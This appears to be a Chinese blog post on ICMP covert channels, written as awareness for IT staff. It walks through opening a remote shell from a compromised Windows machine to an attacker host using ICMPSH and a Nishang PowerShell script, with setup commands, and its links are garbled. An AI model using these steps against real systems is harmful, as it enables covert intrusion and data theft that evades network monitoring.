长话短说: 你可以通过ICMP发起一个远程shell连接。ICMP也可以被用来做坏事。
很多客户都会问我这个问题“Ping is okay? Right?”,一般而言ICMP(ICMP远不仅仅是ping,但经常被简单的说成是ping)是一个很好的工具,用来测试网络是否有响应,来确认你的网络连接通不通。它也经常被用来测试连接是否可靠。我的观点是,从一个IT人员的角度来讲,我们可以用ICMP来做很多事情。我想让人知道的是,任何你允许从你网络出来的东西都可以被利用做坏事。在这篇文章,我将为你展示黑客们是如何用ICMP来获取数据以及如何仅仅利用ICMP就和网络内部的客户端进行通信的。
使用ICMP来做一些坏事的原理是很明了的,在1996年就已经写的很简单了。它出现在PHRACK杂志(回忆过去啊)7b3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8Z5M7X3q4U0K9#2)9J5k6h3!0J5k6#2)9J5c8X3W2K6M7%4g2W2M7#2)9J5c8U0b7&6i4K6u0r3x3g2)9J5k6h3S2@1L8h3H3`. ,被称作:Project Loki (Loki项目)。
使用ICMP来作为隐蔽通道的原理是:你有一个服务端和一个客户端,当它们通信时会用到 ICMP_ECHO 和 ICMP_ECHOREPLY的数据部分。这就意味着通过ICMP包的数据部分可以发送和接收数据。
我觉得这个很酷。有多少人会仔细分析ICMP流量呢?(这里只是假定)
ICMP仅仅是一种可能的隐蔽通道,如果黑客喜欢的话,他们也可以用DNS。其实已经有DNS隐蔽通道的项目了(自己谷歌去看看)。你的网络里每一个向外部互联网发送数据的通道,都很有可能被黑客用来作为隐蔽通道。这篇博客我只讨论ICMP。
下面是一个简单的demo,展示了这种方法具体是如何工作的,这里使用Bernardo Damele的 ICMPSH工具,这个工具最初是由Nico Leidecker开发的——c34K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3I4W2K9h3c8W2j5$3E0W2M7W2)9J5k6h3W2F1k6X3!0Q4x3V1j5`.。
首先在攻击者机器上,关闭ICMP回复,避免发送其它数据干扰隐秘通道测试。
关闭命令:sysctl -w net.ipv4.icmp_echo_ignore_all=1
打开命令:sysctl -w net.ipv4.icmp_echo_ignore_all=0
现在我克隆一份 ICMPSH github项目到我的攻击者机器:
命令:git clone 622K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6A6L8Y4q4#2K9i4y4T1i4K6u0r3K9h3y4E0M7s2y4Z5i4K6u0W2k6$3W2@1i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`.
使用ICMPSH项目里的python脚本启动服务端。使用这条命令:
Python icmpsh_m.py x.x.x.x y.y.y.y (注:x.x.x.x 是攻击者机器的公网ip,y.y.y.y是被黑机器的公网ip)
现在攻击者机器会监听等待。接下来我们去被黑服务器(客户端)。在ICMPSH git项目有一个可用在windows客户端的脚本。但是我更喜欢使用Powershell,所以在这里我将使用Nishang PowerShellICMP。代码可以在这里找到(感谢Nikhil Mittal 的杰出作品):29bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6J5j5i4N6Q4x3X3g2Y4K9i4c8Z5N6h3u0#2M7$3g2J5j5$3!0F1N6r3g2F1N6q4)9J5k6h3y4G2L8g2)9J5c8Y4y4S2L8i4u0S2N6r3q4K6K9r3!0C8i4K6u0r3L8X3W2K6K9r3q4F1k6#2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8W2y4Z5k6h3I4D9M7#2)9J5c8V1W2F1N6X3!0C8k6g2)9J5k6q4m8G2N6$3g2J5f1$3S2W2L8r3I4u0j5$3#2H3i4K6u0W2M7s2x3I4
把这些代码复制到windows客户端的 Powershell窗口。Powershell不需要提权,用户也不必是本地管理员。
[培训]科锐逆向工程师培训第53期2025年7月8日开班!